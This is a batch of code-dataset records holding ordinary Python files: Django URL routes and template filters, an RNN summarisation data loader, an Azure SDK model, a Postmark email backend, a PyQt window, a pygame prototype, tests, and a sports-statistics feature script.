\r\n\turl(r'^modal-locality-create/(?P[0-9]+)/$', views.LocalityCreateModalView.as_view(), name='modal-locality-create'), \r\n\turl(r'^modal-address-create/(?P[0-9]+)/$', views.AddressCreateModalView.as_view(), name='modal-address-create'), \r\n\t# url(r'^(?P[\\w-]+)/state-list/$', views.StateByCountryListView.as_view(), name='state-list'), \r\n\t# url(r'^(?P[\\w-]+)/locality-list/$', views.LocalityByCountryListView.as_view(), name='locality-list'), \r\n\t# url(r'^(?P[\\w-]+)/address-list/$', views.AddressByCountryListView.as_view(), name='address-list'), \r\n]","sub_path":"addresses/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"312293785","text":"import gzip, numpy as np, os, string, spacy, config\nfrom vocabulary import Vocabulary\nfrom helper import print_message\nfrom random import randint\n\ndef fetch_data(dataset_location, split_ratio=0.9, max_dataset = None):\n\tmax_source_length = config.values.get('max_source_length', None)\n\tmax_target_length = config.values.get('max_target_length', None)\n\tdata = []\n\tfile_num = 0\n\ttokenizer = spacy.load('en').tokenizer\n\tfor dataset in dataset_location:\n\t\tfor _, _, files in os.walk(dataset):\n\t\t\tprint_message('fetching from %s' % dataset)\n\t\t\tfor f in files:\n\t\t\t\twith open(dataset+'/'+f,'rb') as story:\n\t\t\t\t\tsource, target = extract_summary(story)\n\t\t\t\t\tsource_tokens = tokenize(source, tokenizer, max_source_length)\n\t\t\t\t\ttarget_tokens = tokenize(target, tokenizer, max_target_length)\n\t\t\t\t\tdata.append((source_tokens, target_tokens))\n\t\t\t\tif file_num % 10000 == 0 and file_num != 0:\n\t\t\t\t\tprint_message('fetched %d (articles, summarizations) tuples so far' % file_num)\n\t\t\t\tfile_num+=1\n\t\t\t\tif stop_fetching_midpoint(file_num, max_dataset):\n\t\t\t\t\tfile_num = 0\n\t\t\t\t\tbreak\n\n\tdata_len = len(data)\n\tprint_message('fetched total %d (sources, summarizations) tuples' % data_len)\n\n\tsplit_index = int(data_len*split_ratio)\n\traw_trainset = data[:split_index]\n\traw_testset = data[split_index:]\n\tvocab = Vocabulary(raw_trainset)\n\t\n\tdata_ids = [[[vocab.w2id(w) for w in sent] for sent in tup] for tup in data]\n\tsource_ids, target_ids = zip(*data_ids)\n\tsource_padded = pad(source_ids, max_source_length)\n\ttarget_padded = pad(target_ids, max_target_length)\n\ttrain_data = [np.array((source_padded[i].tolist(), target_padded[i].tolist()), dtype='object') for i in range(split_index)]\n\ttest_data = [np.array((source_padded[i].tolist(), target_padded[i].tolist()), dtype='object') for i in range(split_index, data_len)]\n\n\ttrain_pointers_data = pointer_data(raw_trainset, max_target_length)\n\n\tprint_message(\"train_data of size: %d\" % len(train_data))\n\tprint_message(\"test_data of size: %d\" % len(test_data))\n\treturn np.array(train_data), np.array(test_data), np.array(train_pointers_data), np.array(raw_testset), vocab\n\ndef fetch_data_for_identity(dataset_location, split_ratio=0.9, max_dataset = None, reverse=False):\n\tmax_length = config.values.get('max_source_length', None)\n\ttokenizer = spacy.load('en').tokenizer\n\tdata = []\n\twith gzip.open(dataset_location, 'rb') as f:\n\t\tfor idx, line in enumerate(f):\n\t\t\tsource, target = line.decode().split('\\t')\n\t\t\tsource_tokens = tokenize(source, tokenizer, max_length)\n\t\t\ttarget_tokens = tokenize(source, tokenizer, max_length)\n\n\t\t\tif reverse:\n\t\t\t\tdata.append( (source_tokens, list(reversed(target_tokens))) )\n\t\t\telse:\n\t\t\t\tdata.append( (source_tokens, target_tokens) )\n\n\t\t\tif idx % 10000 == 0 and idx != 0:\n\t\t\t\tprint_message('fetched %d (sources, summarizations) tuples so far' % idx) \n\t\t\tif stop_fetching_midpoint(idx, max_dataset):\n\t\t\t\tbreak\n\n\tdata_len = len(data)\n\tprint_message('fetched total %d (sources, summarizations) tuples' % data_len)\n\n\tsplit_index = int(data_len*split_ratio)\n\traw_trainset = data[:split_index]\n\traw_testset = data[split_index:]\n\n\tvocab = Vocabulary(raw_trainset)\n\tforce_oov_words = config.values.get('pntr_layer', False)\n\tif force_oov_words:\n\t\tadd_oov(raw_trainset, 0.5)\n\t\tadd_oov(raw_testset, 1)\n\n\ttrain_ids = [[[vocab.w2id(w) for w in sent] for sent in tup] for tup in raw_trainset]\n\ttest_ids = [[[vocab.w2id(w) for w in sent] for sent in tup] for tup in raw_testset]\n\n\ttrain_padded = [pad_sequences(tup, max_length, padding='post', truncating='post') for tup in train_ids]\n\ttest_padded = [pad_sequences(tup, max_length, padding='post', truncating='post') for tup in test_ids]\n\n\ttrain_pointers_data = pointer_data(raw_trainset, max_length)\n\t\n\tprint_message(\"trainset of size: %d\" % len(train_padded))\n\tprint_message(\"testset of size: %d\" % len(test_padded))\n\n\treturn np.array(train_padded), np.array(test_padded), np.array(train_pointers_data), np.array(raw_testset), vocab\n\ndef add_oov(data, prob_for_true):\n\tfor i, pair in enumerate(data):\n\t\tshould_add_oov = np.random.choice([True, False], p=[prob_for_true, 1-prob_for_true])\n\t\tif should_add_oov:\n\t\t\tfor _ in range(1):\n\t\t\t\tletter = string.ascii_lowercase[randint(10, 25)]\n\t\t\t\tsent_len = len(pair[0])\n\t\t\t\toov_sour_loc = randint(0, sent_len-1)\n\t\t\t\toov_targ_loc = sent_len - oov_sour_loc -1\n\t\t\t\tpair[0][oov_sour_loc] = letter\n\t\t\t\tpair[1][oov_targ_loc] = letter\n\ndef pointer_data(raw_set, max_length):\n\tpointer_data = []\n\tfor tup in raw_set:\n\t\tart, summ = tup\n\t\tcurr_pointers = [0]*max_length\n\t\tfor j in range(len(summ)):\n\t\t\tfound_word_in_sour = False\n\t\t\tfor k in range(len(art)):\n\t\t\t\tif summ[j] == art[k]:\n\t\t\t\t\tcurr_pointers[j] = k\n\t\t\t\t\tfound_word_in_sour = True\n\t\t\t\t\tbreak\n\t\tpointer_data.append(curr_pointers)\n\treturn pointer_data\n\ndef extract_summary(story):\n\tsource = ''\n\tsummary = ''\n\tlines = [line.strip() for line in story if line.strip() != b'']\n\n\ti = 0\n\twhile(i 0:\n\t\t\tsample_shape = np.asarray(s).shape[1:]\n\t\t\tbreak\n\n\tx = (np.ones((num_samples, maxlen) + sample_shape) * value).astype(dtype)\n\tfor idx, s in enumerate(sequences):\n\t\tif not len(s):\n\t\t\tcontinue # empty list/array was found\n\t\tif truncating == 'pre':\n\t\t\ttrunc = s[-maxlen:]\n\t\telif truncating == 'post':\n\t\t\ttrunc = s[:maxlen]\n\t\telse:\n\t\t\traise ValueError('Truncating type \"%s\" not understood' % truncating)\n\n\t\t# check `trunc` has expected shape\n\t\ttrunc = np.asarray(trunc, dtype=dtype)\n\t\tif trunc.shape[1:] != sample_shape:\n\t\t\traise ValueError('Shape of sample %s of sequence at position %s is different from expected shape %s' %\n\t\t\t\t\t\t\t (trunc.shape[1:], idx, sample_shape))\n\n\t\tif padding == 'post':\n\t\t\tx[idx, :len(trunc)] = trunc\n\t\telif padding == 'pre':\n\t\t\tx[idx, -len(trunc):] = trunc\n\t\telse:\n\t\t\traise ValueError('Padding type \"%s\" not understood' % padding)\n\treturn x","sub_path":"RNN with attention/preprocess_data.py","file_name":"preprocess_data.py","file_ext":"py","file_size_in_byte":7968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"406208512","text":"# coding=utf-8\n# --------------------------------------------------------------------------\n# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License. See License.txt in the project root for\n# license information.\n#\n# Code generated by Microsoft (R) AutoRest Code Generator.\n# Changes may cause incorrect behavior and will be lost if the code is\n# regenerated.\n# --------------------------------------------------------------------------\n\nfrom msrest.serialization import Model\n\n\nclass Iteration(Model):\n \"\"\"Iteration model to be sent over JSON.\n\n Variables are only populated by the server, and will be ignored when\n sending a request.\n\n :ivar id: Gets the id of the iteration\n :vartype id: str\n :param name: Gets or sets the name of the iteration\n :type name: str\n :param is_default: Gets or sets a value indicating whether the iteration\n is the default iteration for the project\n :type is_default: bool\n :ivar status: Gets the current iteration status\n :vartype status: str\n :ivar created: Gets the time this iteration was completed\n :vartype created: datetime\n :ivar last_modified: Gets the time this iteration was last modified\n :vartype last_modified: datetime\n :ivar trained_at: Gets the time this iteration was last modified\n :vartype trained_at: datetime\n :ivar project_id: Gets the project id of the iteration\n :vartype project_id: str\n :ivar exportable: Whether the iteration can be exported to another format\n for download\n :vartype exportable: bool\n :ivar domain_id: Get or sets a guid of the domain the iteration has been\n trained on\n :vartype domain_id: str\n \"\"\"\n\n _validation = {\n 'id': {'readonly': True},\n 'status': {'readonly': True},\n 'created': {'readonly': True},\n 'last_modified': {'readonly': True},\n 'trained_at': {'readonly': True},\n 'project_id': {'readonly': True},\n 'exportable': {'readonly': True},\n 'domain_id': {'readonly': True},\n }\n\n _attribute_map = {\n 'id': {'key': 'Id', 'type': 'str'},\n 'name': {'key': 'Name', 'type': 'str'},\n 'is_default': {'key': 'IsDefault', 'type': 'bool'},\n 'status': {'key': 'Status', 'type': 'str'},\n 'created': {'key': 'Created', 'type': 'iso-8601'},\n 'last_modified': {'key': 'LastModified', 'type': 'iso-8601'},\n 'trained_at': {'key': 'TrainedAt', 'type': 'iso-8601'},\n 'project_id': {'key': 'ProjectId', 'type': 'str'},\n 'exportable': {'key': 'Exportable', 'type': 'bool'},\n 'domain_id': {'key': 'DomainId', 'type': 'str'},\n }\n\n def __init__(self, name=None, is_default=None):\n super(Iteration, self).__init__()\n self.id = None\n self.name = name\n self.is_default = is_default\n self.status = None\n self.created = None\n self.last_modified = None\n self.trained_at = None\n self.project_id = None\n self.exportable = None\n self.domain_id = None\n","sub_path":"azure-cognitiveservices-vision-customvision/azure/cognitiveservices/vision/customvision/training/models/iteration.py","file_name":"iteration.py","file_ext":"py","file_size_in_byte":3043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"4656967","text":"# coding: utf-8\nfrom __future__ import absolute_import\n\nfrom django.conf import settings\nfrom django.core.exceptions import ImproperlyConfigured\nfrom django.core.mail import EmailMessage, EmailMultiAlternatives\nfrom django.core.mail.backends.base import BaseEmailBackend\n\nfrom .core import TEST_TOKEN, PostmarkClient\n\n\nDEFAULT_CONFIG = {\n 'TEST_MODE': False,\n 'TRACK_OPENS': False,\n}\n\n\nclass EmailBackend(BaseEmailBackend):\n \"\"\"\n A wrapper that manages sending emails via Postmark API.\n \"\"\"\n\n def __init__(self, token=None, fail_silently=False, **kwargs):\n super(EmailBackend, self).__init__(fail_silently=fail_silently)\n self.client = None\n if self.get_option('TEST_MODE'):\n self.token = TEST_TOKEN\n else:\n self.token = token or self.get_option('TOKEN')\n if self.token is None:\n raise ImproperlyConfigured('You should specify TOKEN to use Postmark email backend')\n\n @property\n def config(self):\n return getattr(settings, 'POSTMARK', DEFAULT_CONFIG)\n\n def get_option(self, key):\n return self.config.get(key, DEFAULT_CONFIG.get(key))\n\n def open(self):\n if self.client is None:\n self.client = PostmarkClient(token=self.token)\n return True\n return False\n\n def close(self):\n try:\n if self.client is not None:\n self.client.session.close()\n finally:\n self.client = None\n\n def send_messages(self, email_messages):\n try:\n client_created = self.open()\n prepared_messages = [self.prepare_message(message) for message in email_messages]\n response = self.client.emails.send_batch(*prepared_messages, TrackOpens=self.get_option('TRACK_OPENS'))\n msg_count = len(response)\n if client_created:\n self.close()\n return msg_count\n except Exception:\n if not self.fail_silently:\n raise\n\n def prepare_message(self, message):\n instance = message.message()\n instance.tag = getattr(message, 'tag', None)\n return instance\n\n\nclass PostmarkEmailMixin(object):\n \"\"\"\n Provides an ability to set tags on Django email instances.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n self.tag = kwargs.pop('tag', None)\n super(PostmarkEmailMixin, self).__init__(*args, **kwargs)\n\n\nclass PostmarkEmailMessage(PostmarkEmailMixin, EmailMessage):\n pass\n\n\nclass PostmarkEmailMultiAlternatives(PostmarkEmailMixin, EmailMultiAlternatives):\n pass\n","sub_path":"venv/lib/python2.7/site-packages/postmarker/django.py","file_name":"django.py","file_ext":"py","file_size_in_byte":2585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"548763692","text":"import sys\nsys.path.insert(0, 'D:\\\\courses\\\\python\\\\projects\\\\mail\\\\lib')\n\nfrom mainqwidget import *\nfrom pycommunitylogin import *\nfrom gmaillogin import *\nfrom helpdialog import *\nfrom infodialog import *\n#==========================================================================================\nclass Window(QMainWindow):\n\n def __init__(self):\n super(Window, self).__init__()\n self.initUI()\n#----------------------------------------------------------------------------------------------------------------------------- \n def initUI(self):\n \"\"\"displays main window ui \"\"\"\n self.setWindowTitle('PyCommunity Send Mail')\n self.setWindowIcon(QIcon('pcl.jpg'))\n \n palette = QPalette()#set a background\n palette.setBrush(QPalette.Background,QBrush(QPixmap(\"bg2.jpg\")))\n self.setPalette(palette)\n \n self.center()\n\n mainWidget=MainWidget()\n self.setCentralWidget(mainWidget)\n #set a toolbar:\n helpAction= QAction(QIcon('help.jpg'), 'Help', self)\n helpAction.setShortcut('Ctrl+H')\n helpAction.triggered.connect(self.helpDialog)\n \n infoAction= QAction(QIcon('info.png'), 'Information', self)\n infoAction.setShortcut('Ctrl+I')\n infoAction.triggered.connect(self.infoDialog)\n \n toolbar = self.addToolBar('Tool Bar')\n toolbar.addAction(helpAction)\n toolbar.addAction(infoAction)\n\n menubar = self.menuBar()\n windowMenu = menubar.addMenu('&Menu')\n windowMenu.addAction(helpAction)\n windowMenu.addAction(infoAction)\n \n self.show()\n#----------------------------------------------------------------------------------------------------------------------------- \n def helpDialog(self):\n \"\"\"displays help dialog \"\"\"\n helpdialog=HelpDialog()\n#----------------------------------------------------------------------------------------------------------------------------- \n def infoDialog(self):\n \"\"\"displays help dialog\"\"\"\n infodialog=InfoDialog()\n#----------------------------------------------------------------------------------------------------------------------------- \n def center(self):\n \"\"\"displays the programm window at the center of monitor\"\"\"\n fg = self.frameGeometry()\n dg= QDesktopWidget().availableGeometry().center()\n fg.moveCenter(dg)\n self.move(fg.topLeft())\n#----------------------------------------------------------------------------------------------------------------------------- \n def closeEvent(self, event):\n reply = QMessageBox.question(self, 'Message',\"Are you sure you want to quit?\",\n QMessageBox.Yes | QMessageBox.No, QMessageBox.No)\n if reply == QMessageBox.Yes:\n event.accept()\n else:\n event.ignore()\n#----------------------------------------------------------------------------------------------------------------------------- \ndef main():\n \n app =QApplication(sys.argv)\n ex = Window()\n sys.exit(app.exec_())\n\n\nif __name__ == '__main__':\n main() \n\n \n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"207042495","text":"import pygame, sys, os\r\nfrom pygame.locals import *\r\n\r\n# Initialise Pygame\r\npygame.init()\r\n\r\n# Color alias tables\r\nblack = [ 0, 0, 0]\r\nwhite = [ 255, 255, 255]\r\nblue = [ 0, 0, 255]\r\ngreen = [ 0, 255, 0]\r\nred = [ 255, 0, 0]\r\n\r\n# Function aliases\r\nfont = pygame.font.Font(None, 25)\r\nclock = pygame.time.Clock()\r\n\r\n# Load \r\nspyChar = pygame.image.load('../../graphics/spy01.png')\r\ncursorObj = pygame.image.load('../../graphics/reticule.png')\r\n\r\n# Set variable\r\nbullets = 8\r\nbullet_exist = 0\r\nreserve = 80\r\nmouse_x = mouse_y = 0\r\nplayer_x = player_y = 10\r\nspeed_x = speed_y = 0\r\n\r\n# Set display window.\r\nscreen = pygame.display.set_mode((1024, 768))\r\npygame.display.set_caption('Agitprop 0.01a')\r\n\r\n# Function to calculate vector of bullet\r\ndef calculate_vector(player_x, player_y, mouse_x, mouse_y):\r\n origin_x = player_x + 82\r\n origin_y = player_y + 13\r\n rise = mouse_y - origin_y\r\n run = mouse_x - origin_x\r\n gradient = rise/run\r\n\r\n# Function to draw the background\r\ndef draw_background(screen):\r\n screen.fill(white)\r\n\r\n# Function to draw player\r\ndef draw_player(screen, x, y):\r\n screen.blit(spyChar, (x, y))\r\n\r\n# Function to draw ammo\r\ndef draw_ammo(screen, clip, reserve):\r\n ammoTxt = font.render(str(clip) + \" - \" + str(reserve), True, black)\r\n screen.blit(ammoTxt, [120, 5])\r\n\r\n# Function to draw bullet\r\ndef draw_bullet(screen, origin_x, origin_y, gradient):\r\n pygame.draw.line(screen, black, (origin_x, origin_y), (mouse_x, mouse_y), 4)\r\n\r\n# Function to draw reticule\r\ndef draw_reticule(screen, x, y):\r\n screen.blit(cursorObj, (x, y))\r\n\r\n# Begin game loop\r\ndone = False\r\nwhile done == False:\r\n\r\n # Event loop\r\n for event in pygame.event.get():\r\n\r\n # Check for quit\r\n if event.type == pygame.QUIT:\r\n done = True\r\n\r\n # Checking for key presses\r\n if event.type == pygame.KEYDOWN: \r\n\r\n # Checks movement\r\n if event.key == pygame.K_a: \r\n speed_x = -3\r\n if event.key == pygame.K_d: \r\n speed_x = 3\r\n if event.key == pygame.K_w: \r\n speed_y = -3\r\n if event.key == pygame.K_s: \r\n speed_y = 3\r\n\r\n # User let up on a key\r\n if event.type == pygame.KEYUP:\r\n\r\n # If the arrows keys are let go of, the speed drops.\r\n if event.key == pygame.K_a:\r\n speed_x = 0\r\n if event.key == pygame.K_d:\r\n speed_x = 0\r\n if event.key == pygame.K_w:\r\n speed_y = 0\r\n if event.key == pygame.K_s:\r\n speed_y = 0\r\n\r\n # Record cursor\r\n if event.type == pygame.MOUSEMOTION:\r\n mouse_x, mouse_y = event.pos \r\n\r\n if event.type == pygame.MOUSEBUTTONDOWN and event.button == 0:\r\n bullet_exist = 1\r\n calculate_vector(player_x, player_y, mouse_x, mouse_y)\r\n draw_bullet(screen, x, y, gradient)\r\n\r\n # Move the spy according to the speed vector\r\n player_x += speed_x\r\n player_y += speed_y\r\n\r\n # Draw objects, update screen, set FPS\r\n draw_background(screen)\r\n draw_ammo(screen, bullets, reserve)\r\n draw_player(screen, player_x, player_y)\r\n draw_reticule(screen, mouse_x, mouse_y)\r\n if bullet_exist == 1:\r\n draw_bullet(screen, origin_x, origin_y, gradient)\r\n pygame.display.flip()\r\n clock.tick(40)\r\n \r\npygame.quit()\r\n","sub_path":"agitprop-0.01-old/data/script/init.py","file_name":"init.py","file_ext":"py","file_size_in_byte":3438,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"252775491","text":"from datetime import timedelta\nfrom django.test import TestCase, RequestFactory, Client\nfrom django.utils import timezone\n\nfrom KW.preprocessors import review_count_preprocessor, srs_level_count_preprocessor\nfrom kw_webapp.tests.utils import create_user, create_profile, create_vocab, create_reading, create_userspecific, \\\n create_review_for_specific_time\n\n\nclass TestPreprocessors(TestCase):\n def setUp(self):\n self.user = create_user(\"user1\")\n self.user.set_password(\"password\")\n self.user.save()\n create_profile(self.user, \"some_key\", 5)\n # create a piece of vocab with one reading.\n self.vocabulary = create_vocab(\"cat\")\n self.cat_reading = create_reading(self.vocabulary, \"kana\", \"kanji\", 5)\n\n self.review = create_userspecific(self.vocabulary, self.user)\n self.factory = RequestFactory()\n\n def test_preprocessor_srs_counts_are_correct(self):\n req = self.factory.get('/kw/')\n req.user = self.user\n\n srs_count_dict = srs_level_count_preprocessor(req)\n\n self.assertEqual(srs_count_dict['srs_apprentice_count'], 1)\n self.assertEqual(srs_count_dict['srs_guru_count'], 0)\n self.assertEqual(srs_count_dict['srs_master_count'], 0)\n self.assertEqual(srs_count_dict['srs_enlightened_count'], 0)\n self.assertEqual(srs_count_dict['srs_burned_count'], 0)\n\n\n\n def test_preprocessor_future_reviews_counts_correctly_provides_same_day_review_count(self):\n within_half_hour_review = create_review_for_specific_time(self.user, \"some word\", timezone.now() + timedelta(minutes=30))\n within_day_review= create_review_for_specific_time(self.user, \"some word\", timezone.now() + timedelta(hours=12))\n after_a_day_review = create_review_for_specific_time(self.user, \"some word\", timezone.now() + timedelta(hours=48))\n\n req = self.factory.get(\"/kw/\")\n req.user = self.user\n\n context_data = review_count_preprocessor(req)\n\n self.assertEqual(context_data['reviews_within_day_count'], 2)\n self.assertEqual(context_data['reviews_within_hour_count'], 1)\n self.assertEqual(context_data['review_count'], 1)\n\n def test_future_review_counts_preprocessor_does_not_include_currently_active_reviews(self):\n within_day_review= create_review_for_specific_time(self.user, \"some word\", timezone.now() + timedelta(hours=12))\n within_day_review.needs_review = True\n within_day_review.save()\n\n req = self.factory.get(\"/kw/\")\n req.user = self.user\n\n context_data = review_count_preprocessor(req)\n\n self.assertEqual(context_data['reviews_within_day_count'], 0)\n self.assertEqual(context_data['reviews_within_hour_count'], 0)\n self.assertEqual(context_data['review_count'], 2)\n\n\n def test_review_count_preprocessor_returns_sane_values_when_user_has_no_vocabulary_unlocked(self):\n self.review.delete()\n req = self.factory.get(\"/kw/\")\n req.user = self.user\n\n context_data = review_count_preprocessor(req)\n\n self.assertEqual(context_data['reviews_within_day_count'], 0)\n self.assertEqual(context_data['reviews_within_hour_count'], 0)\n self.assertEqual(context_data['review_count'], 0)\n","sub_path":"kw_webapp/tests/test_preprocessors.py","file_name":"test_preprocessors.py","file_ext":"py","file_size_in_byte":3252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"25714216","text":"import scipy as sp\nimport matplotlib\nimport matplotlib.pyplot as plt\n\n\ndef error(f, x, y):\n return sp.sum((f(x) - y)**2)\n\ndata = sp.genfromtxt('web_traffic.tsv', delimiter='\\t')\n\nx = data[:, 0]\ny = data[:, 1]\n\nx = x[~sp.isnan(y)]\ny = y[~sp.isnan(y)]\n\nplt.scatter(x, y, s=10)\nplt.title('Web traffic')\nplt.xlabel('Time')\nplt.ylabel('Hits/h')\nplt.xticks([w*7*24 for w in range(10)], ['week %i' % w for w in range(10)])\nplt.autoscale(tight=True)\nplt.grid(True, linestyle='-', color='0.75')\nplt.show()\n","sub_path":"working_plot.py","file_name":"working_plot.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"575491069","text":"import pandas as pd\nimport numpy as np\nfrom math import log\n\ngames = pd.read_csv(\"Data/Original/Games.csv\")\n#delete unnecessary columns\ndel games[\"Unnamed: 0\"]\ndel games[\"game_id\"]\n#making wl have element True or False\nfor index, row in games.iterrows():\n\tif row[\"wl_home\"] == \"W\":\n\t\tgames.at[index, \"wl_home\"] = True\n\telse:\n\t\tgames.at[index, \"wl_home\"] = False\n\n#sorting by date\ngames[\"game_date_home\"] = pd.to_datetime(games.game_date_home)\ngames = games.sort_values(by = \"game_date_home\")\n#creating column with home team\ngames[\"Home_team\"] = [matchup[:3] for matchup in games[\"matchup_home\"]]\ngames[\"Away_team\"] = [matchup[-3:] for matchup in games[\"matchup_home\"]]\ndef get_team_data(games = games):\n\t#creating database with teams\n\tteam_names = list(games.Home_team.unique())\n\tteam_data = {}\n\tfor team in team_names:\n\t\tteam_data[team] = {\"W/L\": [],\n\t\t\t\t\t\t \"P Scored\": [],\n\t\t\t\t\t\t \"P Against\": []}\n\n\treturn team_data\n\n#defining variables for feature engineering\nRUN_AVG_LEN = 15\n#defining function of pythagorean w/l\ndef log_decay(length):\n\tdecay = []\n\tfor i in range(length):\n\t\tdecay.append(log(length - i + 1))\n\treturn 1 / np.array(decay)\n\ndef_decay = log_decay\n\ndef stand_exp(points_for, points_against, decay = 1.):\n\treturn 13.9\n\ndef pythagenpat(points_for, points_against, decay = np.full(3, 1.)):\n\treturn ((np.sum(points_for) + np.sum(points_against)) / np.sum(decay)) ** 0.285\n\ndef py_wl(points_for = [], points_against = [], wl_history = [],\n\t\t decay = True, decay_function = def_decay,\n\t\t exp_func = stand_exp, fill = 0.5):\n\tif not decay:\n\t\tdecay_function = norm_decay\n\n\tif len(points_for) > 0 or len(points_against) > 0:\n\t\tdecay = decay_function(len(points_against))\n\t\texp = exp_func(points_for, points_against, decay = decay)\n\t\tpy_points_for = np.sum(np.array(decay * points_for)) ** exp\n\t\tpy_points_against = np.sum(np.array(decay * points_against)) ** exp\n\t\treturn py_points_for / (py_points_for + py_points_against)\n\treturn fill\n\ndef wl(points_for = [], points_against = [], wl_history = [],\n\t decay = True, decay_function = def_decay, fill = 0.5):\n\tif not decay:\n\t\tdecay_function = norm_decay\n\n\twl_history = np.array(wl_history).astype(\"float\")\n\tif wl_history.shape[0] > 0:\n\t\tdecay = decay_function(len(wl_history))\n\t\tdec_wl_history = decay * wl_history\n\t\treturn np.sum(dec_wl_history) / np.sum(decay)\n\treturn fill\n\ndef update_db(functions = [(wl, \"wl_d\", {\"decay\": True}), (py_wl, \"py_wl_d\", {\"decay\": True}),\n\t\t\t\t\t\t (wl, \"wl\", {\"decay\": False}), (py_wl, \"py_wl\", {\"decay\": False}),\n\t\t\t\t\t\t (py_wl, \"py_wl_d_pat\", {\"decay\": True, \"exp_func\": pythagenpat}), (py_wl, \"py_wl_pat\", {\"decay\": False, \"exp_func\": pythagenpat})], dataframe = games):\n\tteam_data = get_team_data(games = games)\n\tfor index, row in dataframe.iterrows():\n\t\th_points_scored, v_points_scored = (team_data[row[\"Home_team\"]][\"P Scored\"],\n\t\t\t\t\t\t\t\t\t\t\tteam_data[row[\"Away_team\"]][\"P Scored\"])\n\t\th_points_against, v_points_against = (team_data[row[\"Home_team\"]][\"P Against\"],\n\t\t\t\t\t\t\t\t\t\t\t team_data[row[\"Away_team\"]][\"P Against\"])\n\t\th_wl, v_wl = (team_data[row[\"Home_team\"]][\"W/L\"],\n\t\t\t\t\t team_data[row[\"Away_team\"]][\"W/L\"])\n\t\tfor function in functions:\n\t\t\tvar = {\"points_against\": h_points_against, \"points_for\": h_points_scored, \"wl_history\": h_wl}\n\t\t\tfunction_var = {**var, **function[2]}\n\t\t\tdataframe.at[index, function[1] + \"_home\"] = function[0](**function_var)\n\t\t\t#doing it for visitor team\n\t\t\tvar = {\"points_against\": v_points_against, \"points_for\": v_points_scored, \"wl_history\": v_wl}\n\t\t\tfunction_var = {**var, **function[2]}\n\t\t\tdataframe.at[index, function[1] + \"_visitor\"] = function[0](**function_var)\n\n\t\t#updating database\n\t\tteam_data[row[\"Home_team\"]][\"W/L\"].append(row[\"wl_home\"])\n\t\tteam_data[row[\"Away_team\"]][\"W/L\"].append(not row[\"wl_home\"])\n\t\tteam_data[row[\"Home_team\"]][\"P Scored\"].append(row[\"pts_home\"])\n\t\tteam_data[row[\"Away_team\"]][\"P Scored\"].append(row[\"pts_away\"])\n\t\tteam_data[row[\"Home_team\"]][\"P Against\"].append(row[\"pts_away\"])\n\t\tteam_data[row[\"Away_team\"]][\"P Against\"].append(row[\"pts_home\"])\n\n\treturn dataframe\n\ndef main():\n\tdata = update_db()\n\tdata.to_csv(r\"Data/NewFeatures/all_exp_var_all_decay_var_pat_285.csv\")\n\nif __name__ == \"__main__\":\n\tmain()","sub_path":"feature_eng.py","file_name":"feature_eng.py","file_ext":"py","file_size_in_byte":4178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"251630825","text":"import socket\nfrom struct import *\nimport time\nimport threading\n\n#targetIP = '192.168.4.1'\ntargetIP = '172.20.21.204'\ntargetPort = 1338\n\ndef helloFunction(name):\n while True:\n sock.sendto(b\"hello\", (targetIP, targetPort)) \n time.sleep(4)\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)\nsock.bind((\"0.0.0.0\", targetPort))\n\nx = threading.Thread(target=helloFunction, args=(1,))\nx.start()\n\nwhile True:\n data, addr = sock.recvfrom(1024) # buffer size is 1024 bytes\n print(\"received message: %s\" % data)\n","sub_path":"tools/pandaTest.py","file_name":"pandaTest.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"245747102","text":"# coding: utf-8\nfrom django.utils.safestring import SafeText\nfrom django import template\nfrom django import forms\nfrom django.utils.safestring import mark_safe\n\nregister = template.Library()\n'''\n\nAssitive technologie\n\nhttp://getbootstrap.com/css/#forms-help-text\nhttp://getbootstrap.com/css/#forms-control-validation\nhttps://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-invalid_attribute\n\n'''\n\n\n@register.filter(is_safe=True)\ndef bs3(obj, form_type=None):\n '''\n dispacth fucntion to check if ots recieved a BoundField ou an entire form.\n '''\n if isinstance(obj, forms.BaseForm):\n return form(obj, form_type)\n elif isinstance(obj, forms.forms.BoundField):\n return field(obj, form_type)\n elif isinstance(obj, str) or isinstance(obj, SafeText):\n return obj # https://docs.djangoproject.com/en/1.8/ref/templates/api/#invalid-template-variables\n\n else:\n raise Exception(ValueError, 'Bootstrap template tag recieved a non form or field object')\n\n\ndef field(bound_field, arg):\n '''\n Render the complete HTML of a field.\n\n Adiciona css class \"error\" if its aria-invalid\n Adiciona css class \"required\" if its required\n\n Add help_text automatically.\n '''\n\n # check for errors\n has_errors = bool(len(bound_field.errors))\n\n # Add bootstrap3 classes to the input, keeping classes may set on Form class.\n widget_classes = []\n\n if 'class' in bound_field.field.widget.attrs:\n widget_classes.append(bound_field.field.widget.attrs['class'])\n if bound_field.field.required:\n widget_classes.append('required')\n if has_errors:\n widget_classes.append('error')\n widget_classes.append('form-control')\n # field.field.widget.attrs['placeholder'] = field.label\n bound_field.field.widget.attrs['class'] = \" \".join(widget_classes) # set widget classes\n\n # assistive technology - screen readers\n bound_field.field.widget.attrs['aria-required'] = str(bound_field.field.required)\n bound_field.field.widget.attrs['aria-invalid'] = str(has_errors)\n 